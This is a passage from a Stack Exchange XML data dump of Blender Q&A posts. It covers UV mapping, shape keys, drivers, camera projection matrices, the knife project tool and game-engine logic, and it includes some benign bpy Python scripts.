LastEditDate="2015-09-04T08:31:15.713" LastActivityDate="2015-09-04T08:31:15.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38003" PostTypeId="4" CreationDate="2015-09-04T06:50:49.620" Score="0" Body="The basic purpose of the Timeline is to control movements of your objects in 3D space. The Timeline isn't the one really moving your objects in 3D space. Rather, the Timeline gives you insight as to when what will be where in the 3D space." OwnerUserId="16852" LastEditorUserId="16852" LastEditDate="2015-09-04T08:31:19.787" LastActivityDate="2015-09-04T08:31:19.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38004" PostTypeId="2" ParentId="31588" CreationDate="2015-09-04T07:12:19.803" Score="1" Body="&lt;p&gt;This is obviously an old post that perhaps no one answered. However for the sake of information I will attempt to answer.&#xA;Firstly have you atlased the normal map and diffuse map?&#xA;This consists of using something like Unwrapper Pro to open the model and move each component part into an individual location to produce one set of UV's for the entire model. Then print out the UV's as a template and cut and paste the relevant parts of the various diffuse and normal maps to all fit onto one image. That is one image for the Diffuse Map and one for the Normal map.&#xA;Obj files can have both mesh groups and material groups. So while your model retains all the mesh groups you can select the entire set of UVs and assign it to one material group. So instead of having 100 material groups you have one and this should allow you to only have to set the normal map once.&#xA;This is the reverse of what most modelers do where they usually set up only one model group but have many material groups. This is also helpful if you have an animated model as mesh groups are usually where bones are added or weighted.&#xA;cheers&lt;/p&gt;&#xA;" OwnerUserId="17896" LastEditorUserId="17896" LastEditDate="2015-09-04T07:19:09.163" LastActivityDate="2015-09-04T07:19:09.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38005" PostTypeId="2" ParentId="36901" CreationDate="2015-09-04T07:15:10.940" Score="0" Body="&lt;p&gt;I got this working by using the &quot;Corrective Shape Key&quot; addon. So I posed the armature in the end position I wanted. Then I selected the mesh object (bulb) and hit the &quot;create duplicate for editing&quot; in the Shape Keys group of the objects data tab.&#xA;Selecting both (copied first and then original) objects and hitting &quot;Join as Shapes&quot; from the same menu creates a new shape key with the copied objects shape as final mesh deformation of this shape key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then did this with all four directions the bulb is able to bend.&#xA;This work nicely with one nasty exception. The motion is not exactly a copy of the armatures motion, the top of the bulb changes length during bending, which in the armature is forbidden. The bulb is actually attached with top and bottom lips to metal parts. So now when I make the angle sweep, a gap between the bulbs lips and the upper metal part opens and closes again. I hope to get around this issue soon...&#xA;&lt;a href=&quot;https://i.stack.imgur.com/7zau3.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7zau3.jpg&quot; alt=&quot;first step&quot;&gt;&lt;/a&gt; &#xA;&lt;a href=&quot;https://i.stack.imgur.com/9Al2Z.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9Al2Z.jpg&quot; alt=&quot;second step&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15388" LastActivityDate="2015-09-04T07:15:10.940" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38006" PostTypeId="2" ParentId="36920" CreationDate="2015-09-04T09:15:51.613" Score="2" Body="&lt;p&gt;As you have found the Driver values that you can setup to use in your python expressions are limited to float values. Instead of setting a hex value you can setup three float values, one for red, one for blue and one for green.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the relevant bone you want to hold your colour settings and create three properties, for simplicity I will name then red, green and blue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a driver to the colour swatch in your material (this can be used for either BI or cycles materials) and setup the driver to to get a single property from the rig and enter the path as &lt;code&gt;pose.bones[&quot;ear.l&quot;][&quot;red&quot;]&lt;/code&gt; - adjusting the bone name to suit. Repeat for each colour channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/gGVl7.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gGVl7.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make it more user friendly you can also setup a panel to display these properties at the side of the 3dview.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example file setup.&#xA;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/468/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=468&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="-1" LastEditDate="2017-03-14T09:19:16.687" LastActivityDate="2015-09-04T09:15:51.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38007" PostTypeId="2" ParentId="36905" CreationDate="2015-09-04T10:18:43.227" Score="5" Body="&lt;p&gt;Every point within a UV face describes a point on the mesh face's surface. Every point outside describes a point in the same plane, but outside the face's surface - usually not very useful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore, a particular UV face should be provided for the interpolation. If the entire UV map contained no overlaps, then any UV coordinate that lies in any of the UV faces will be mappable to a point on the mesh surface, with no ambiguity - in this case, you wouldn't have to specify which UV face to use for the calculation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if there are overlaps, then there will be multiple solutions (different XYZ coordinates for every overlapping UV face at the specified UV coordinate).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every point outside &lt;strong&gt;any&lt;/strong&gt; UV face will &lt;strong&gt;not&lt;/strong&gt; correspond to a point on the mesh surface (but around or inside the mesh). You may want to clamp UV coordinates to [0, 1], so that the given UV coordinate falls within that range again, if texture repetition is desired.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;In order to transform the UV coordinate to a 3D space coordinate based on a certain UV face, use &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_75_release/mathutils.geometry.html?highlight=barycentric#mathutils.geometry.barycentric_transform&quot; rel=&quot;noreferrer&quot;&gt;barycentric_transform()&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below you find a script that utilized this function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note a couple of requirements:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the script expects one Image / UV editor to be visible&lt;/li&gt;&#xA;&lt;li&gt;a mesh must be selected and in editmode and have a uv map&lt;/li&gt;&#xA;&lt;li&gt;UV mesh selection sync needs to be enabled in UV editor&lt;/li&gt;&#xA;&lt;li&gt;2D cursor needs to placed at the location you want to get the 3D coordinate for (in UV editor)&lt;/li&gt;&#xA;&lt;li&gt;the UV face around the 2D cursor location needs to be selected (this will also select the corresponding mesh face in 3D View because of selection sync)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Then run the script. It should place the 3D cursor at the 3D coordinate. The coordinate stored in &quot;co&quot; is in object space, but turned into world space to place the 3D cursor correctly by multiplying with the object's &lt;code&gt;matrix_world&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;from mathutils.geometry import barycentric_transform, intersect_point_tri_2d&#xA;&#xA;# this will use the 2D cursor of the first UV editor found&#xA;for area in bpy.context.screen.areas:&#xA;    if area.type == 'IMAGE_EDITOR':&#xA;        space_data = area.spaces.active&#xA;        loc = space_data.cursor_location&#xA;        norm_coords = space_data.uv_editor.show_normalized_coords&#xA;        break&#xA;else:&#xA;    raise Exception(&quot;No UV editor found&quot;)&#xA;&#xA;# mesh UVs are always normalized, but not the 2D cursor!&#xA;def uv_normalize(tex, uv):&#xA;    if tex.image is None:&#xA;        x, y = 256, 256&#xA;    else:&#xA;        x, y = tex.image.size&#xA;    return (uv[0] / x, uv[1] / y, 0) # to_3d()&#xA;&#xA;ob = bpy.context.object&#xA;assert ob.type == &quot;MESH&quot;, &quot;Selected object not a mesh&quot;&#xA;me = ob.data&#xA;bm = bmesh.new()&#xA;bm.from_mesh(me)&#xA;&#xA;&#xA;# tag selected faces, because triangulate may clear selection state&#xA;for f in bm.faces:&#xA;    if f.select:&#xA;        f.tag = True&#xA;&#xA;&#xA;# viewport seems to use fixed / clipping instead of beauty&#xA;bmesh.ops.triangulate(bm, faces=bm.faces, quad_method=1, ngon_method=1)&#xA;&#xA;&#xA;# re-select faces&#xA;for f in bm.faces:&#xA;    if f.tag:&#xA;        f.select_set(True)&#xA;&#xA;&#xA;uv_layer = bm.loops.layers.uv.active&#xA;tex = bm.faces.layers.tex.active&#xA;&#xA;&#xA;def find_coord(loc, face, uvs):&#xA;    uv1, uv2, uv3 = uvs&#xA;    x, y, z = [v.co for v in face.verts]&#xA;    co = barycentric_transform(loc, uv1, uv2, uv3, x, y, z)&#xA;    bpy.context.scene.cursor_location = ob.matrix_world * co&#xA;&#xA;&#xA;random_face = None&#xA;sel_faces = [f for f in bm.faces if f.select]&#xA;for face in sel_faces:&#xA;    uv1, uv2, uv3 = [l[uv_layer].uv.to_3d() for l in face.loops]&#xA;    if norm_coords:&#xA;        loc_normalized = loc.to_3d()&#xA;    else:&#xA;        loc_normalized = uv_normalize(face[tex], loc)&#xA;&#xA;    # remember the first face for possible fallback&#xA;    if random_face is None:&#xA;        random_face = loc_normalized, face, (uv1, uv2, uv3)&#xA;&#xA;    #print(&quot;trying&quot;, loc_normalized, &quot;vs&quot;, uv1, uv2, uv3)&#xA;    if intersect_point_tri_2d(loc_normalized, uv1, uv2, uv3):&#xA;        print(&quot;found intersecting triangle&quot;)&#xA;        find_coord(loc_normalized, face, (uv1, uv2, uv3))&#xA;        break&#xA;else:&#xA;    print(&quot;trying random selected face for extrapolation&quot;)&#xA;    find_coord(*random_face)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The mesh does not need to be triangulated, but the script may fail especially on non-planar quads (couldn't figure out why exactly).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Due to the triangulation, we do not know which triangle is the best option to use as input for the transformation - we potentially want a point on the mesh surface, and thus we need to chose the triangle the user-defined input point lies within. Otherwise we would extrapolate a coordinate, which is an issue if the target mesh face is a non-planar polygons. We would end up with a coordinate not on the surface in that case, it should still work for planar target polygons however.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To determine that triangle, the script does triangle-point intersection testing for all triangles the triangulation generated from the input face. If the UV-space coordinate the user wants to calculate the 3d coordinate for isn't within the selected UV face, no intersection test will return true. The only option is to abort, or use a random triangle to extrapolate a (possibly unwanted) coordinate - my script does the latter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The face selection + sync requirement could be lifted by some code to automatically find all intersecting uv faces for the chosen 2D coordinate. You should probably handle overlapping faces, e.g. return one 3D coordinate for every intersecting face.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For some more details, see &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?379027-Get-3D-location-of-mesh-surface-point-from-UV-Parameter&quot; rel=&quot;noreferrer&quot;&gt;http://blenderartists.org/forum/showthread.php?379027-Get-3D-location-of-mesh-surface-point-from-UV-Parameter&lt;/a&gt; (which was the base for this answer)&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2015-09-04T10:18:43.227" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38008" PostTypeId="2" ParentId="36976" CreationDate="2015-09-04T10:22:32.757" Score="0" Body="&lt;p&gt;You can add a property (float or int) and enter it into the Frame Property field (right lower corner of your image). Then you can check the property with a property sensor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Be aware&lt;/strong&gt; that frames are float. Therefore it is better to check against a range e.g. 0.5 ... 1.5 (Interval mode) rather than a concrete value, as it is not likely to match it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/I6O6v.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/I6O6v.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13395" LastActivityDate="2015-09-04T10:22:32.757" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38009" PostTypeId="1" AcceptedAnswerId="38210" CreationDate="2015-09-04T10:29:04.937" Score="25" ViewCount="17176" Body="&lt;p&gt;In computer vision, the transformation from 3D world coordinates to pixel coordinates is often represented by a 3x4 (3 rows by 4 cols) matrix P as detailed below. Given a camera in Blender, I need code that returns P.&lt;/p&gt;&#xA;&lt;h1&gt;Context where this shows up&lt;/h1&gt;&#xA;&lt;p&gt;It is common for people to want the reverse: to set Blender or OpenGL camera transforms from a given 3x4 P. This is so due to Augmented reality where 3x4 cameras are computed from real imagery using computer vision / structure from motion algorithms which are then used in CG to render registered synthetic models.&lt;/p&gt;&#xA;&lt;p&gt;In my case, I am using Blender to generate synthetic data to validate a 3D structure from motion (3D reconstruction) algorithm. I need to use the synthetic Blender cameras inside a computer vision pipeline based on 3x4 P.&lt;/p&gt;&#xA;&lt;h1&gt;Some Details&lt;/h1&gt;&#xA;&lt;p&gt;An image pixel &lt;span class=&quot;math-container&quot;&gt;$(u,v)$&lt;/span&gt; is generated from world &lt;span class=&quot;math-container&quot;&gt;$(x,y,z)$&lt;/span&gt; coordinates through a 3x4 matrix using projective coordinates:&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&quot;math-container&quot;&gt;$$kx = PX,$$&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;where &lt;span class=&quot;math-container&quot;&gt;$k$&lt;/span&gt; is a constant, &lt;span class=&quot;math-container&quot;&gt;$x = (u,v,1)^t$&lt;/span&gt;, &lt;span class=&quot;math-container&quot;&gt;$X = (X,Y,Z,W)^t$&lt;/span&gt;, and &lt;span class=&quot;math-container&quot;&gt;$P$&lt;/span&gt; can be decomposed as&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&quot;math-container&quot;&gt;$$P=K[I|0] \begin{bmatrix}&#xA;R &amp;amp; T\\&#xA;0^\text{t} &amp;amp; 1&#xA;\end{bmatrix} = K[R|T],$$&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;where &lt;span class=&quot;math-container&quot;&gt;$K$&lt;/span&gt; can be written as&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&quot;math-container&quot;&gt;$$K=\begin{bmatrix}&#xA;\alpha_u &amp;amp; s &amp;amp; u_o\\&#xA;0 &amp;amp; \alpha_v &amp;amp; v_o\\&#xA;0 &amp;amp; 0 &amp;amp; 1&#xA;\end{bmatrix},$$&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;where&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&quot;math-container&quot;&gt;$$f=\text{focal length}$$&lt;/span&gt;&#xA;&lt;span class=&quot;math-container&quot;&gt;$$\alpha_u=\frac{f\times u\text{ pixels}}{\text{unit length}}=\frac{f}{\text{width of a pixel in world units}}$$&lt;/span&gt;&#xA;&lt;span class=&quot;math-container&quot;&gt;$$\alpha_v=\frac{f\times v\text{ pixels}}{\text{unit length}}=\frac{f}{\text{height of a pixel in world units}}$$&lt;/span&gt;&#xA;&lt;span class=&quot;math-container&quot;&gt;$$u_o=u\text{ coordinate of principal point}$$&lt;/span&gt;&#xA;&lt;span class=&quot;math-container&quot;&gt;$$v_o=v\text{ coordinate of principal point}$$&lt;/span&gt;&#xA;&lt;span class=&quot;math-container&quot;&gt;$$s=\text{skew factor}$$&lt;/span&gt;&#xA;I need to generate this from a Blender camera (e.g., from the Cycles engine).&lt;/p&gt;&#xA;&lt;h1&gt;Preliminary Research&lt;/h1&gt;&#xA;&lt;p&gt;I could certainly detail this up further in terms of all the coordinate systems and work out the solution myself if need be, but I'm looking to reuse well-tested shared code. Perhaps there could be something in libmv.&lt;/p&gt;&#xA;&lt;p&gt;Directly related to:&#xA;&lt;a href=&quot;https://blender.stackexchange.com/questions/15102/what-is-blenders-camera-projection-matrix-model&quot;&gt;What is blender&amp;#39;s camera projection matrix model?&lt;/a&gt;, &lt;a href=&quot;https://blender.stackexchange.com/questions/40650/blender-camera-from-3x4-matrix&quot;&gt;blender camera from 3x4 matrix&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Other related questions:&#xA;&lt;a href=&quot;https://blender.stackexchange.com/questions/16472/how-can-i-get-the-cameras-projection-matrix&quot;&gt;How can I get the camera&amp;#39;s projection matrix?&lt;/a&gt;,&#xA;&lt;a href=&quot;https://blender.stackexchange.com/questions/882/how-to-find-image-coordinates-of-the-rendered-vertex/884#884&quot;&gt;How to find image coordinates of the rendered vertex?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16590" LastEditorUserId="16590" LastEditDate="2021-04-27T12:07:40.737" LastActivityDate="2021-04-27T12:07:40.737" Title="3x4 camera matrix from blender camera" Tags="&lt;rendering&gt;&lt;transforms&gt;&lt;camera&gt;&lt;coordinates&gt;&lt;conversion&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="16" ContentLicense="CC BY-SA 4.0" />
  <row Id="38010" PostTypeId="2" ParentId="36992" CreationDate="2015-09-04T11:34:40.973" Score="4" Body="&lt;ol&gt;&#xA;&lt;li&gt;Set the pivot to &quot;active element&quot; and the transform orientation to &quot;normal&quot; &lt;/li&gt;&#xA;&lt;li&gt;Select all four faces in &lt;em&gt;Edit Mode&lt;/em&gt;. &lt;/li&gt;&#xA;&lt;li&gt;Once they are selected, hit &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;E&lt;/kbd&gt; and select &quot;region (vertex normals)&quot; &lt;/li&gt;&#xA;&lt;li&gt;While the tool is active, hold &lt;kbd&gt;Shift&lt;/kbd&gt; (to move in smaller increments) and &lt;kbd&gt;Alt&lt;/kbd&gt; (to turn on even thickness), now it's possible to offset the faces in a predictable way &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;It moves two units each step instead of just one, but it's a workable solution.&lt;/em&gt; Also adjust the extrude settings to offset by just one unit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/bM9s5.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bM9s5.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16806" LastEditorUserId="3710" LastEditDate="2015-09-04T11:44:43.743" LastActivityDate="2015-09-04T11:44:43.743" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38011" PostTypeId="1" AcceptedAnswerId="38012" CreationDate="2015-09-04T11:50:25.710" Score="3" ViewCount="925" Body="&lt;p&gt;I modeled a human figure and i have UVMapped every part of it. Now i am trying to TexturePaint it but when i draw the color a UVGrid appears under the color. I would like to paint my model whithout that Grid showing. Does anyone know how to get Rid of it?&lt;/p&gt;&#xA;" OwnerUserId="17900" LastActivityDate="2015-09-04T12:35:34.970" Title="Texture painting showing UVGrid when coloring" Tags="&lt;uv&gt;&lt;texture-painting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38012" PostTypeId="2" ParentId="38011" CreationDate="2015-09-04T12:35:34.970" Score="4" Body="&lt;p&gt;You might have set an UVgrid image as Brush texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/iJI2j.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/iJI2j.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The brush texture is color-multyplied by the brush color. If you remove the brush texture you'll be able to paint the color only.&lt;/p&gt;&#xA;" OwnerUserId="15140" LastActivityDate="2015-09-04T12:35:34.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38013" PostTypeId="1" AcceptedAnswerId="38014" CreationDate="2015-09-04T13:32:30.897" Score="4" ViewCount="831" Body="&lt;p&gt;I use a circle to cut on a cube by knife project tool, but the result is not smooth as the circle, did i do wrong some thing, please help, i'm very new to blender.&lt;a href=&quot;https://i.stack.imgur.com/Yi0Sp.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Yi0Sp.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17903" LastEditorDisplayName="user1853" LastEditDate="2015-09-04T14:26:19.877" LastActivityDate="2015-09-04T15:43:37.783" Title="Problem with knife project tool: the result is not smooth" Tags="&lt;knife-tool&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38014" PostTypeId="2" ParentId="38013" CreationDate="2015-09-04T13:56:33.077" Score="5" Body="&lt;h2&gt;Check camera position&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Knife projection&lt;/strong&gt; projects rays from the camera, trough the cutting geometry, till they reach the object to cut. The more your point of view is distant from the cutting geometry or your are not perpendicular to it, the less precise the operation can be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Imagine that you have to redraw the cutting object on the plane by hand using, for example, the grease pencil. Would you be more accurate in tracing the contour by working close to the geometry or far away?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you take the same cutting object and run the command far away and with the camera not perpendiculart to the cutting geometry (best fitting) plane:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WmGyQm.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WmGyQm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; &lt;a href=&quot;https://i.stack.imgur.com/b5tDZm.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/b5tDZm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While if we get close, we would get:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/OKBt5m.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/OKBt5m.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; &lt;a href=&quot;https://i.stack.imgur.com/uONoLm.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/uONoLm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15140" LastEditorUserId="15140" LastEditDate="2015-09-04T15:43:37.783" LastActivityDate="2015-09-04T15:43:37.783" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38015" PostTypeId="1" AcceptedAnswerId="38018" CreationDate="2015-09-04T14:28:50.933" Score="2" ViewCount="1049" Body="&lt;p&gt;The importer I do uses suffix names for import certain stuff; ie: object named &quot;land-col&quot; is an object with collider and &quot;invisible_wall-colonly&quot; is imported an invisible collider); now, my problem is when I do duplicate object blender rename them in land-col.001 and invisible_wall-colonly.001. and that .nnn broke the import feature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I was wondering if I can force blender to name duplicate objects in a different way... ie; 001.wall-col or something alike?&lt;/p&gt;&#xA;" OwnerUserId="17905" LastActivityDate="2015-09-04T15:56:00.407" Title="Duplicate object suffix (.nnn) to be put elsewhere (prefix maybe?)" Tags="&lt;customization&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38016" PostTypeId="1" AcceptedAnswerId="38223" CreationDate="2015-09-04T14:43:53.343" Score="2" ViewCount="407" Body="&lt;p&gt;Previously, I've asked this question: &lt;a href=&quot;https://blender.stackexchange.com/questions/36299/how-can-i-see-if-an-object-is-inside-the-volume-rendering-of-the-camera&quot;&gt;How can I see if an object is inside the volume rendering of the camera?&lt;/a&gt; and I had found the solution thanks to this post: &lt;a href=&quot;https://blender.stackexchange.com/questions/6891/does-camera-view-frame-return-the-correct-size-of-near-clip-plane&quot;&gt;Does Camera.view_frame() return the correct size of near clip plane?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The line code &lt;code&gt;x, y, z = world_to_camera_view(sce, cam, mat * v.co)&lt;/code&gt; is perfect for found the objects are visible from the central camera but it excludes items that are only visible from a single camera (camera L or R). &lt;strong&gt;I want to find the objects visible only from the right camera and objects visible only from the left camera.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A possible solution would be:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Delete stereoscopy&lt;/li&gt;&#xA;&lt;li&gt;Move the camera to the right of intercular distance / 2&lt;/li&gt;&#xA;&lt;li&gt;Incline the camera to the z-axis of angle of convergence (easy calculation)&lt;/li&gt;&#xA;&lt;li&gt;Check the visible item with &lt;code&gt;world_to_camera_view&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Repeat for simulate the left camera (move to right and rotate z -angle)&lt;/li&gt;&#xA;&lt;li&gt;Set True the stereoscopy&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;But how to eliminate the stereoscopy and have a camera equal to that of the left and right?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I solved my issue by following the steps I listed. Now I have this problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I place the camera on the right of a value (even higher) and then use &lt;code&gt;world_to_camera_view&lt;/code&gt; the result I get is the same. That tells me that the camera always sees the same objects.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Code&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from bpy_extras.object_utils import world_to_camera_view&#xA;&#xA;context = bpy.context&#xA;scene = bpy.context.scene&#xA;scene.update&#xA;&#xA;def checkIfIsInCameraView(cam, obj):&#xA;    for v in obj.data.vertices:&#xA;        x, y, z = world_to_camera_view(context.scene, cam, obj.matrix_world * v.co)&#xA;        if (0.0 &amp;lt;= x &amp;lt;= 1.0 and 0.0 &amp;lt;= y &amp;lt;= 1.0):&#xA;            return True&#xA;&#xA;    return False&#xA;&#xA;#set off stereo&#xA;scene.render.use_multiview = False&#xA;&#xA;#creo nuova camera per simulare camera laterale&#xA;cameraNormal = scene.camera&#xA;&#xA;#change camera position&#xA;cameraNormal.location.x = cameraNormal.location.x - 50.0&#xA;&#xA;for obj in scene.objects:&#xA;    if obj.type == 'MESH':&#xA;        #print if in camera view&#xA;        if checkIfIsInCameraView(cameraNormal, obj):&#xA;            print(obj)&#xA;&#xA;#change camera position&#xA;cameraNormal.location.x = cameraNormal.location.x + 100.0&#xA;&#xA;for obj in scene.objects:&#xA;    if obj.type == 'MESH':&#xA;        #print if in camera view&#xA;        if checkIfIsInCameraView(cameraNormal, obj):&#xA;            print(obj)&#xA;&#xA;#set on stereo&#xA;scene.render.use_multiview = True&#xA;scene.update&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Some tips?&lt;/p&gt;&#xA;" OwnerUserId="15519" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2015-09-08T10:41:55.693" Title="Stereoscopic camera: how to see objects visible only from the right and left camera" Tags="&lt;python&gt;&lt;camera&gt;" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="38017" PostTypeId="1" AcceptedAnswerId="38026" CreationDate="2015-09-04T14:49:24.540" Score="4" ViewCount="186" Body="&lt;p&gt;This is my game.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/vjJLS.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vjJLS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My game ends when the character collides with a wall.&#xA;I need to be able to count how many times the character passes by a wall (under or over). I do not want to count how many times the character runs into a wall, because the game ends after one collision.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my game so far:&#xA;&lt;a href=&quot;http://www.pasteall.org/blend/37853&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/37853&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2022" LastEditorUserId="5426" LastEditDate="2015-09-04T19:06:09.393" LastActivityDate="2016-12-27T22:16:09.060" Title="Recording number of checkpoints passed" Tags="&lt;game-engine&gt;&lt;logic-bricks&gt;&lt;text-object&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
